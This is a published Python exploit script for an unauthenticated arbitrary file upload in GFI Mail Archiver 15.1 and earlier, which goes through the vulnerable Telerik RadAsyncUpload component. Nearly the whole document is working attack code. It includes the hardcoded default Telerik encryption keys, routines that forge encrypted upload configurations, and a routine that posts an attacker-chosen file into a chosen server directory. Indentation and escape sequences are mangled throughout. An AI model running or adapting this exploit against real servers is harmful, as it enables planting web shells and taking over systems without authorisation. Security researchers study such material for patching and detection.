Authored by Paul Taylor, Amin Bohio

GFI Mail Archiver versions 15.1 and below Telerik UI component unauthenticated arbitrary file upload exploit.

# Exploit Title: GFI Mail Archiver <= 15.1 - Telerik UI Component Arbitrary File Upload (Unauthenticated)
# Date: 21 March 2021
# Exploit Author: Amin Bohio (https://aminbohio.com)
# Original Research & Code By: Paul Taylor / Foregenix Ltd
# Original Exploit: https://github.com/bao7uo/RAU_crypto
# Vendor Homepage: https://www.gfi.com
# Software Link: https://www.gfi.com/products-and-solutions/network-security-solutions/gfi-archiver
# Vulnerable Versions: GFI Mail Archiver <= 15.1
# Vendor Advisory: N/A
# CVE: N/A
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# Tested on: Windows & Linux

# Usage: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p pathonwebserver

#!/usr/bin/python3

# Original Telerik Exploit Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

# Modified by: Amin Bohio

import sys
import base64
import json
import re
import requests
import os
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
from Crypto.Hash import SHA1
from struct import Struct
from operator import xor
from itertools import starmap

import binascii

from requests.packages.urllib3.exceptions import InsecureRequestWarning

# ******************************************
# ******************************************

# ADVANCED_SETTINGS section 1 of 2
# Warning, the below prevents certificate warnings,
# and verify = False (CERT_VERIFY prevents them being verified

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

CERT_VERIFY = False

# ******************************************
# ******************************************

class PBKDF:

def sha1(v):
hl = SHA1.new()
hl.update(v)
return hl.digest()

def derive1(password, salt):
hash = (password + salt).encode()
for i in range(0, 99):
hash = PBKDF.sha1(hash)

result = PBKDF.sha1(hash)
i = 1
while len(result) < 48:
result += PBKDF.sha1(str(i).encode() + hash)
i += 1

return result

def hmacsha1(v):
hl = PBKDF.mac.copy()
hl.update(v)
return bytearray(hl.digest())


def derive2(password, salt):
# Credit: @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2/blob/master/pbkdf2.py
result_length = 48
PBKDF.mac = HMAC.new(bytes(password.encode()), None, SHA1.new())
result = []
for b in range(1, -(-result_length // PBKDF.mac.digest_size) + 1):
rv = u = PBKDF.hmacsha1(salt.encode() + Struct('>i').pack(b))
for i in range(999):
u = PBKDF.hmacsha1(u)
rv = starmap(xor, zip(rv, u))
result.extend(rv)
result = b''.join(map(bytes, [result]))[:result_length]
return result

def derive(type, password,salt = ''.join(chr(i) for i in [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1])):
if type == 1:
result = PBKDF.derive1(password, salt)
result = result[0:32] + result[8:16] + result[40:48] # Bizarre hack
elif type == 2:
result = PBKDF.derive2(password, salt)

return result[0:32], result[32:]


class RAUCipher:


# ******************************************
# ******************************************

# ADVANCED_SETTINGS section 2 of 2

# Default settings are for vulnerable versions before 2017 patches with default keys

T_Upload_ConfigurationHashKey =
"PrivateKeyForHashOfUploadConfiguration" # Default hardcoded key for versions before 2017 patches
HASHKEY = T_Upload_ConfigurationHashKey # or your custom hashkey

T_AsyncUpload_ConfigurationEncryptionKey =
"PrivateKeyForEncryptionOfRadAsyncUploadConfiguration" # Default hardcoded key for versions before 2017 patches
PASSWORD = T_AsyncUpload_ConfigurationEncryptionKey # or your custom password

# Latest tested version working with this setting: 2018.1.117
# Probably working up to and including 2018.3.910
PBKDF_ALGORITHM = 1

# Earliest tested version working with this setting: 2019.2.514
# Probably introduced 2019.1.115
# PBKDF_ALGORITHM = 2

# ******************************************
# ******************************************

key, iv = PBKDF.derive(PBKDF_ALGORITHM, PASSWORD)

# print(binascii.hexlify(key).decode().upper())
# print(binascii.hexlify(iv).decode().upper())

def encrypt(plaintext):
sys.stderr.write("Encrypting... ")
encoded = ""
for i in plaintext:
encoded = encoded + i + "x00"
plaintext = encoded + (
chr(16 - (len(encoded) % 16)) *
(16 - (len(encoded) % 16))
)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
sys.stderr.write("donen")
return base64.b64encode(cipher.encrypt(plaintext.encode())).decode()


def decrypt(ciphertext):
sys.stderr.write("Decrypting... ")
ciphertext = base64.b64decode(ciphertext)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
unpad = lambda s: s[0:-ord(chr(s[-1]))]
sys.stderr.write("donen")
return unpad(cipher.decrypt(ciphertext)).decode()[0::2]


def addHmac(string, Version):

isHmacVersion = False

# "Encrypt-then-MAC" feature introduced in R1 2017
# Required for >= "2017.1.118" (e.g. "2017.1.118", "2017.1.228", "2017.2.503" etc.)

if int(Version[:4]) >= 2017:
isHmacVersion = True

hmac = HMAC.new(
bytes(RAUCipher.HASHKEY.encode()),
string.encode(),
SHA256.new()
)

hmac = base64.b64encode(hmac.digest()).decode()
return string + hmac if isHmacVersion else string


def getProxy(proxy):
return { "http" : proxy, "https" : proxy }


def rauPostData_enc(partA, partB):
data = "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="rauPostData"rn"
data += "rn"
data += RAUCipher.encrypt(partA) + "&" + RAUCipher.encrypt(partB) + "rn"
return data


def rauPostData_prep(TempTargetFolder, Version):
TargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(""),
Version
)
TempTargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(TempTargetFolder),
Version
)

partA =
'{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' +
TempTargetFolder +
'","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'

partB =
"Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" +
Version + ", Culture=neutral, PublicKeyToken=121fae78165ba3d4"

return rauPostData_enc(partA, partB)


def payload(TempTargetFolder, Version, payload_filename):
sys.stderr.write("Local file path: " + payload_filename + "n")
payload_filebasename = os.path.basename(payload_filename)
sys.stderr.write("Destination file name: " + payload_filebasename + "n")
sys.stderr.write("Destination path: " + TempTargetFolder + "n")
sys.stderr.write("Version: " + Version + "n")
sys.stderr.write("Preparing payload... n")
payload_file = open(payload_filename, "rb")
payload_file_data = payload_file.read()
payload_file.close()

data = rauPostData_prep(TempTargetFolder, Version)
data += "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="file"; filename="blob"rn"
data += "Content-Type: application/octet-streamrn"
data += "rn"
data += payload_file_data.decode("raw_unicode_escape") + "rn"
data += "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="fileName"rn"
data += "rn"
data += "RAU_crypto.bypassrn"
data += "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="contentType"rn"
data += "rn"
data += "text/htmlrn"
data += "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="lastModifiedDate"rn"
data += "rn"
data += "2019-01-02T03:04:05.067Zrn"
data += "-----------------------------62616f37756f2frn"
data += "Content-Disposition: form-data; name="metadata"rn"
data += "rn"
data += "{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"" +
payload_filebasename + ""}rn"
data += "-----------------------------62616f37756f2f--rn"
data += "rn"
sys.stderr.write("Payload prep donen")
return data


def upload(data, url, proxy = False):

global CERT_VERIFY

sys.stderr.write("Preparing to send request to " + url + "n")
session = requests.Session()
request = requests.Request(
"POST",
url,
data=data
)
request = request.prepare()
request.headers["Content-Type"] =
"multipart/form-data; " +
"boundary=---------------------------62616f37756f2f"
response = session.send(request, verify=CERT_VERIFY, proxies = getProxy(proxy))
sys.stderr.write("Request donen")
return response.text


def decode_rauPostData(rauPostData):
rauPostData = rauPostData.split("&")
rauJSON = RAUCipher.decrypt(rauPostData[0])
decoded = "nJSON: " + rauJSON + "n"
TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
decoded = decoded + "nTempTargetFolder = " +
RAUCipher.decrypt(TempTargetFolder) + "n"
rauVersion = RAUCipher.decrypt(rauPostData[1])
decoded = decoded + "nVersion: " + rauVersion + "n"
return decoded


def mode_decrypt():
# decrypt ciphertext
ciphertext = sys.argv[2]
print("n" + RAUCipher.decrypt(ciphertext) + "n")


def mode_Decrypt_rauPostData():
# decrypt rauPostData
rauPostData = sys.argv[2]
print(decode_rauPostData(rauPostData))


def mode_encrypt():
# encrypt plaintext
plaintext = sys.argv[2]
print("n" + RAUCipher.encrypt(plaintext) + "n")


def mode_Encrypt_rauPostData():
# encrypt rauPostData based on TempTargetFolder and Version
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
print(
"rauPostData: " +
rauPostData_prep(TempTargetFolder, Version) +
"n"
)


def mode_payload():
# generate a payload based on TempTargetFolder, Version and payload file
TempTargetFolder = sys.argv[2]
Version = "2013.1.417.40"
payload_filename = sys.argv[4]
print("Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f")
print(payload(TempTargetFolder, Version, payload_filename))


def mode_Post(proxy = False):
# generate and upload a payload based on
# TempTargetFolder, Version, payload file and url
Version = "2013.1.417.40"
url = sys.argv[2] + "/Telerik.Web.UI.WebResource.axd?type=rau"
payload_filename = sys.argv[4]
TempTargetFolder = sys.argv[6]

print(upload(payload(TempTargetFolder, Version, payload_filename), url, proxy))
print("n[+] Check your uploaded filen");


def mode_help():
print(
"Usage: nExample1: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:Program FilesGFIArchiverASPNETUIImages' nExample2: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:WindowsTemp'")


sys.stderr.write("n[+] Original Research by Paul Taylor / @bao7uo n[+] Modified by Amin Bohion")
sys.stderr.write("[+] GFI Mail Archiver <= 15.1 - Telerik Arbitrary File Uploadnn")

if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-u" and len(sys.argv) == 7:
mode_Post()
else:
mode_help()